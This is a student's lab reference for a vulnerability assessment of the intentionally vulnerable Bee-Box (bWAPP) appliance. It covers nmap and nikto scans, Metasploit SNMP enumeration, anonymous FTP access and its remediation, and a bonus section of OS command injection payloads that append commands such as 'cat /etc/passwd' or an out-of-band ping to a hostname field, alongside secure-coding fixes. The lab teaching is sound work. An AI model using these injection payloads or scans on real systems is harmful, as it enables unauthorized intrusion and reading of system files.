Syntax and Source Code — Bee-Box VAPT Engagement

All commands, configurations, payloads and secure-coding examples used in the vulnerability assessment and exploitation of the Bee-Box (bWAPP) platform.

Task 1 Environment Setup and Target Validation

1.1 Check target IP on Bee-Box

```
bee@bee-box:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:fd:c2:27
          inet addr:192.168.140.132  Bcast:192.168.140.255  Mask:255.255.255.0
```

1.2 Validate reachability from Kali

```
# Ping the target to confirm network connectivity
kali@kali:~$ ping -c 5 192.168.140.132

PING 192.168.140.132 (192.168.140.132) 56(84) bytes of data.
64 bytes from 192.168.140.132: icmp_seq=1 ttl=64 time=0.709 ms
64 bytes from 192.168.140.132: icmp_seq=2 ttl=64 time=0.600 ms
64 bytes from 192.168.140.132: icmp_seq=3 ttl=64 time=0.470 ms
64 bytes from 192.168.140.132: icmp_seq=4 ttl=64 time=0.382 ms
64 bytes from 192.168.140.132: icmp_seq=5 ttl=64 time=0.584 ms

--- 192.168.140.132 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4405ms
rtt min/avg/max/mdev = 0.382/0.549/0.709/0.112 ms
```

> **Note:** TTL=64 confirms a Linux host. Sub-millisecond RTT confirms same-segment placement.

Task 2 Vulnerability Scanning

2.1 Full TCP aggressive scan (Nmap)

```
# -A = OS detection + version detection + script scan + traceroute
# -sV = probe service versions
# -O  = attempt OS fingerprinting

kali@kali:~$ nmap -A -sV -O 192.168.140.132
```

2.2 UDP service discovery (SNMP)

```
# -sU = UDP scan
# -p 161 = target SNMP port only

kali@kali:~$ nmap -sU -p 161 192.168.140.132

PORT    STATE SERVICE
161/udp open  snmp
MAC Address: 00:0C:29:FD:C2:27 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
```

2.3 Web vulnerability scan (Nikto)

```
# -h = target host
# Default port is 80

kali@kali:~$ nikto -h 192.168.140.132

- Nikto v2.5.0
+ Target IP:          192.168.140.132
+ Target Hostname:    192.168.140.132
+ Target Port:        80
+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5
+ /: Server may leak inodes via ETags (CVE-2003-1418)
+ /: The anti-clickjacking X-Frame-Options header is not present
+ /: The X-Content-Type-Options header is not set
+ /crossdomain.xml contains a full wildcard entry
+ PHP/5.2.4-2ubuntu5 appears to be outdated
+ OpenSSL/0.9.8g appears to be outdated
+ Apache/2.2.8 appears to be outdated
+ /index: Apache mod_negotiation enabled with MultiViews
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ /: HTTP TRACE method is active (XST vulnerability)
+ /server-status: This reveals Apache information (OSVDB-561)
+ /phpmyadmin/: phpMyAdmin directory found
+ /icons/: Directory indexing found
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8101 requests: 0 error(s) and 24 item(s) reported on remote host
```

Task 3 SNMP Exploitation with Metasploit

3.1 Launch Metasploit console

```
kali@kali:~$ msfconsole

msf > search net-SNMP
```

3.2 Select and configure the SNMP enumeration module

```
msf > use auxiliary/scanner/snmp/snmp_enum

msf auxiliary(scanner/snmp/snmp_enum) > show options

Module options (auxiliary/scanner/snmp/snmp_enum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s)
   RPORT      161              yes       The target port (UDP)
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>
```

3.3 Set target and execute

```
msf auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.140.132
RHOSTS ⇒ 192.168.140.132

msf auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
COMMUNITY ⇒ public

msf auxiliary(scanner/snmp/snmp_enum) > run

[+] 192.168.140.132, Connected.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

> **Output includes:** Hostname, OS version, uptime, network interfaces, TCP/UDP listeners, process table, storage info, device info.

Task 4 Anonymous FTP Access Verification

4.1 Connect and authenticate anonymously

```
kali@kali:~$ ftp 192.168.140.132

Connected to 192.168.140.132.
220 ProFTPD 1.3.1 Server (bee-box) [192.168.140.132]
Name (192.168.140.132:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply

ftp> pwd
Remote directory: /

ftp> ls
-rw-rw-r--   1 root  www-data  543803 Nov  2  2014 Iron_Man.pdf
-rw-rw-r--   1 root  www-data  462949 Nov  2  2014 Terminator_Salvation.pdf
-rw-rw-r--   1 root  www-data  544600 Nov  2  2014 The_Amazing_Spider-Man.pdf
-rw-rw-r--   1 root  www-data  526187 Nov  2  2014 The_Cabin_in_the_Woods.pdf
-rw-rw-r--   1 root  www-data  756522 Nov  2  2014 The_Dark_Knight_Rises.pdf
-rw-rw-r--   1 root  www-data  618117 Nov  2  2014 The_Incredible_Hulk.pdf
-rw-rw-r--   1 root  www-data 5010042 Nov  2  2014 bWAPP_intro.pdf
226 Transfer complete
```

Task 5 Remediation — Disable Anonymous FTP

5.1 Open ProFTPD configuration

```
bee@bee-box:~$ sudo nano /etc/proftpd/proftpd.conf
```

5.2 Original anonymous FTP block (to be commented out)

```
# Before remediation — anonymous access enabled
<Anonymous ~ftp>
   User                          ftp
   Group                         nogroup
   UserAlias                     anonymous ftp
   DirFakeUser  on ftp
   DirFakeGroup on ftp
   RequireValidShell             off
   MaxClients                    10
   DisplayLogin                 welcome.msg
   DisplayChdir                 .message
   <Directory *>
     <Limit WRITE>
       DenyAll
     </Limit>
   </Directory>
</Anonymous>
```

5.3 After remediation — anonymous block disabled

```
# After remediation — entire stanza commented out
#<Anonymous ~ftp>
#   User                          ftp
#   Group                         nogroup
#   UserAlias                     anonymous ftp
#   DirFakeUser  on ftp
#   DirFakeGroup on ftp
#   RequireValidShell             off
#   MaxClients                    10
#   DisplayLogin                 welcome.msg
#   DisplayChdir                 .message
#   <Directory *>
#     <Limit WRITE>
#       DenyAll
#     </Limit>
#   </Directory>
#</Anonymous>
```

5.4 Restart ProFTPD service

```
bee@bee-box:~$ sudo /etc/init.d/proftpd restart
```

5.5 Verify hardening from Kali

```
kali@kali:~$ ftp 192.168.140.132

Connected to 192.168.140.132.
220 ProFTPD 1.3.1 Server (bee-box) [192.168.140.132]
Name (192.168.140.132:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed

ftp> ls
530 Please login with USER and PASS
```

> **Expected result:** `230` (granted) changes to `530 Login incorrect` (denied). Anonymous access is now blocked.

Bonus

OS Command Injection — Payloads and Mitigation

Direct command injection (bWAPP)

```
# Vulnerable input field: expects a hostname for ping
# Payload appends a command separator and arbitrary command

Input:  www.google.com; cat /etc/passwd

# Server-side pseudo-code (vulnerable):
# system("ping -c 4 " + $user_input);
# Becomes: system("ping -c 4 www.google.com; cat /etc/passwd");
```

Common shell metacharacter payloads

```
# Semicolon — command chaining
www.google.com; whoami

# Pipe — redirect output
www.google.com | id

# AND operator — conditional execution
www.google.com && uname -a

# Command substitution
www.google.com $(cat /etc/passwd)

# Backtick substitution
www.google.com `whoami`
```

Blind command injection with out-of-band confirmation

```
# Step 1: On Kali, start ICMP listener
kali@kali:~$ sudo tcpdump -i eth0 icmp

# Step 2: In vulnerable field, trigger callback
Input:  www.google.com; ping -c 4 192.168.140.128

# Step 3: Observe 4 ICMP echo requests at Kali
# Confirms command execution even when no output is returned in the page
```

Secure coding — Input validation (allow-list regex)

```
# Python — validate hostname before use
import re

pattern = r"^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}$"
if not re.match(pattern, user_input):
    raise ValueError("Invalid hostname")
```

Secure coding — Pass arguments as a list (no shell)

```
# Python — subprocess with shell=False
import subprocess

host = validated_hostname  # already allow-list checked
subprocess.run(["ping", "-c", "4", host], shell=False)

# PHP — escapeshellarg before shell execution
$host = escapeshellarg($_GET["host"]);
system("ping -c 4 " . $host);
```

Secure coding — Least privilege and service hardening

```
# Disable legacy services
sudo update-rc.d -f distccd remove
sudo update-rc.d -f rexec remove
sudo update-rc.d -f rlogin remove
sudo update-rc.d -f rsh remove

# Change SNMP community from default
sudo nano /etc/snmp/snmpd.conf
# Replace "public" and "private" with strong, random strings
# Restart: sudo /etc/init.d/snmpd restart

# Run web services as non-root user
sudo useradd -r -s /bin/false webuser
# Configure Apache/Nginx worker processes to run as webuser
```

Quick Reference

All Commands at a Glance

```
# ═══ TASK 1: Setup ═══
ifconfig                                # Check target IP on Bee-Box
ping -c 5 192.168.140.132               # Validate connectivity from Kali

# ═══ TASK 2: Scanning ═══
nmap -A -sV -O 192.168.140.132          # Full TCP aggressive scan
nmap -sU -p 161 192.168.140.132         # UDP SNMP discovery
nikto -h 192.168.140.132                # Web vulnerability scan

# ═══ TASK 3: SNMP Exploitation ═══
msfconsole
  search net-SNMP
  use auxiliary/scanner/snmp/snmp_enum
  set RHOSTS 192.168.140.132
  set COMMUNITY public
  run

# ═══ TASK 4: Anonymous FTP ═══
ftp 192.168.140.132                     # Login: anonymous / any password
  pwd
  ls

# ═══ TASK 5: FTP Hardening ═══
sudo nano /etc/proftpd/proftpd.conf     # Comment out <Anonymous ~ftp> block
sudo /etc/init.d/proftpd restart        # Apply changes
ftp 192.168.140.132                     # Re-test: expect 530 Login incorrect

# ═══ OS Command Injection Testing ═══
# Direct (output visible in response):
www.google.com; cat /etc/passwd

# Blind (out-of-band confirmation):
# Listener:  sudo tcpdump -i eth0 icmp
# Payload:   www.google.com; ping -c 4 192.168.140.128
```

Prepared by Subham Dey for the Ethical Hacking and VAPT course-end project, Advanced Executive Program in Cybersecurity, IIIT Bangalore. All commands executed against the Bee-Box training appliance (192.168.140.132) in an isolated lab environment.